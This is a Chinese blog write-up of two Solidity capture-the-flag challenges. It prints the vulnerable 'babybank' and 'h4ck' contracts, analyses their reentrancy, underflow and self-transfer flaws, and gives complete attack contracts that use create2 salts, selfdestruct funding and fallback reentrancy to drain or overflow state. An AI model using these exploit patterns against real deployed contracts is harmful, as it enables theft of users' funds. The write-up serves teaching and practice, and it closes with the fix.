抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

babybank

1. question

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
pragma solidity ^0.4.23;

contract babybank {
mapping(address => uint) public balance;
mapping(address => uint) public level;
address owner;
uint secret;

//Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string md5ofteamtoken,string b64email);


constructor()public{
owner = msg.sender;
}

//pay for flag
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 10000000000);
balance[msg.sender]=0;
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}

modifier onlyOwner(){
require(msg.sender == owner);
_;
}

//challenge 1
function profit() public{
require(level[msg.sender]==0);
require(uint(msg.sender) & 0xffff==0xb1b1);
balance[msg.sender]+=1;
level[msg.sender]+=1;
}

//challenge 2
function set_secret(uint new_secret) public onlyOwner{
secret=new_secret;
}
function guess(uint guess_secret) public{
require(guess_secret==secret);
require(level[msg.sender]==1);
balance[msg.sender]+=1;
level[msg.sender]+=1;
}

//challenge 3

function transfer(address to, uint amount) public{
require(balance[msg.sender] >= amount);
require(amount==2);
require(level[msg.sender]==2);
balance[msg.sender] = 0;
balance[to] = amount;
}

function withdraw(uint amount) public{
require(amount==2);
require(balance[msg.sender] >= amount);
msg.sender.call.value(amount*100000000000000)();
balance[msg.sender] -= amount;
}
}

📌 成功调用payforflag()

2.analysis

一眼看出

系列为重入系列,最为明显的漏洞在于withdraw()

1
2
3
4
5
6
function withdraw(uint amount) public{
require(amount==2);
require(balance[msg.sender] >= amount);
msg.sender.call.value(amount*100000000000000)();
balance[msg.sender] -= amount;
}

先转账再更新余额,经典重入

profit()通过create2计算地址,并获利

guess()使得balance[msg.sender] == 2

在msg.sender的回调函数中调用一次转账操作,使得在 withdraw中发生下溢

还需要通过selfdestruct给题目合约强制赚钱,为了满足msg.sender.call.value(amount*100000000000000)();

3. solve

攻击逻辑:通过脚本语言计算出符合要求的hacker地址的salt,再通过Helper合约的deploy函数生成hacker,然后通过pay函数强制给bank转钱,根据地址生成hacker之后,调用attack函数即可完成攻击。

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
pragma solidity ^0.8.0;

interface babybank{
function payforflag(string memory, string memory) external;
function profit() external;
function guess(uint guess_secret) external;
function transfer(address to, uint amount) external;
function withdraw(uint amount) external;
}

contract Hacker {

babybank bank;
bool flag;

function attack(address _bank, uint guess_secret) public {
bank = babybank(_bank);
bank.profit();
bank.guess(guess_secret);
bank.withdraw(2);
bank.payforflag("HC", "Hacker");
}

fallback() external payable{
if (!flag) {
flag = true;
bank.transfer(msg.sender, 2);
}
}
}

contract Helper {

function deploy(uint _salt) public returns(address) {
address hacker = address(new Hacker{salt : keccak256(abi.encodePacked(_salt))}());
return hacker;
}

function pay(address payable bank) public payable {
selfdestruct(bank);
}
}

h4ck

1. question

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135

pragma solidity ^0.4.25;

contract owned {
address public owner;

constructor ()
public {
owner = msg.sender;
}

modifier onlyOwner {
require(msg.sender == owner);
_;
}

function transferOwnership(address newOwner) public
onlyOwner {
owner = newOwner;
}
}

contract challenge is owned{
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;

mapping (address => uint256) public balanceOf;
mapping (address => uint256) public sellTimes;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public winner;

event Transfer(address _from, address _to, uint256 _value);
event Burn(address _from, uint256 _value);
event Win(address _address,bool _win);


constructor (
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}

function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0x0));
require(_value > 0);

uint256 oldFromBalance = balanceOf[_from];
uint256 oldToBalance = balanceOf[_to];

uint256 newFromBalance = balanceOf[_from] - _value;
uint256 newToBalance = balanceOf[_to] + _value;

require(oldFromBalance >= _value);
require(newToBalance > oldToBalance);

balanceOf[_from] = newFromBalance;
balanceOf[_to] = newToBalance;

assert((oldFromBalance + oldToBalance) == (newFromBalance + newToBalance));
emit Transfer(_from, _to, _value);
}

function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}

function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}

function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}

function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}

function balanceOf(address _address) public view returns (uint256 balance) {
return balanceOf[_address];
}

function buy() payable public returns (bool success){
require(balanceOf[msg.sender]==0);
require(msg.value == 1 wei);
_transfer(address(this), msg.sender, 1);
sellTimes[msg.sender] = 1;
return true;
}


function sell(uint256 _amount) public returns (bool success){
require(_amount >= 100);
require(sellTimes[msg.sender] > 0);
require(balanceOf[msg.sender] >= _amount);
require(address(this).balance >= _amount);
msg.sender.call.value(_amount)();
_transfer(msg.sender, address(this), _amount);
sellTimes[msg.sender] -= 1;
return true;
}

function winnerSubmit() public returns (bool success){
require(winner[msg.sender] == false);
require(sellTimes[msg.sender] > 100);
winner[msg.sender] = true;
emit Win(msg.sender,true);
return true;
}

function kill(address _address) public onlyOwner {
selfdestruct(_address);
}

function eth_balance() public view returns (uint256 ethBalance){
return address(this).balance;
}

}

📌 成功调用winnerSubmit()

2.analysis

winnerSubmit()要求require(sellTimes[msg.sender] > 100);而涉及到sellTimes[]的函数为sell()观察该函数有明显的重入风险

1
2
3
4
5
6
7
8
9
10
function sell(uint256 _amount) public returns (bool success){
require(_amount >= 100);
require(sellTimes[msg.sender] > 0);
require(balanceOf[msg.sender] >= _amount);
require(address(this).balance >= _amount);
msg.sender.call.value(_amount)();
_transfer(msg.sender, address(this), _amount);
sellTimes[msg.sender] -= 1;
return true;
}

sellTimes[msg.sender] -= 1;在执行转账操作之后再更新,而且断言require(sellTimes[msg.sender] > 0);要求其值必须大于0,而能增加该值的函数为buy()函数,但其函数要求余额必须为0且执行之后sellTimes[msg.sender]只能为1。所以sell()中的require(sellTimes[msg.sender] > 0);可以满足,再看到require(balanceOf[msg.sender] >= _amount);,要求balance需要大于amount,能改变该值的同样buy()也可以。分析_transfer()函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0x0));
require(_value > 0);

uint256 oldFromBalance = balanceOf[_from];
uint256 oldToBalance = balanceOf[_to];

uint256 newFromBalance = balanceOf[_from] - _value;
uint256 newToBalance = balanceOf[_to] + _value;

require(oldFromBalance >= _value);
require(newToBalance > oldToBalance);

balanceOf[_from] = newFromBalance;
balanceOf[_to] = newToBalance;

assert((oldFromBalance + oldToBalance) == (newFromBalance + newToBalance));
emit Transfer(_from, _to, _value);
}

很明显,有个漏洞,即:自己给自己转钱可以获得双倍的钱。

so,可以通过buy()获取 1banlance,然后重复给自己转钱,转 2 ^ 8 == 256 > 200即可。为什么要转八次呢,继续分析。

因为,要使require(sellTimes[msg.sender] > 100);毫无疑问溢出来的最快,而msg.sender.call.value(_amount)();则完美的给我们提供了溢出的可行性,即两次调用sell()函数,在第一次sellTimes[msg.sender] == 1的时候通过回调函数调用sell,此时在攻击合约的回调函数中再次执行sell,攻击合约中执行完回调函数中的sell()时,sellTimes[msg.sender]已经为0,而此时代码回到最初的sell()函数中,这样一来就可以通过0 - 1实现溢出。所以需要执行两次sell()函数,要求address(this).balance >= 200balanceOf[msg.sender] >= 200

3. solve

攻击逻辑:部署h4ck,往合约中转入至少1tokens(我觉得题目本来就应该有tokens,不然函数sell()无法执行),部署hacker,进行攻击

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
contract Hacker {

challenge challenge_;
bool flag;

constructor(address _challenge) public payable {
require(msg.value == 200 wei);
challenge_ = challenge(_challenge);
(new Helper).value(200 wei)(_challenge);
}

function attack() public payable {
require(msg.value == 1 wei);
challenge_.buy.value(1 wei)();
for (uint i; i < 8; i++) {
challenge_.transfer(address(this), challenge_.balanceOf(address(this)));
}
challenge_.sell(100);
require(challenge_.winnerSubmit(), "you are not winner");
}

function() external payable{
if (!flag) {
flag = true;
challenge_.sell(100);
}
}
}

contract Helper {

constructor(address _challenge) public payable {
selfdestruct(_challenge);
}
}

image-20230826150110196

总结

这里考查的是重入,emmm,怎么说呢,重入最明显的一个特点就是:钱的更新在转账操作之后,这样一来hacker可以在回调函数中执行恶意操作,因为钱还没改变就可以一直通过转账前的判断条件,从而实现任意次的调用,最简单的改进方法就是,先更新钱再执行转账。

评论



政策 · 统计 | 本站使用 Volantis 主题设计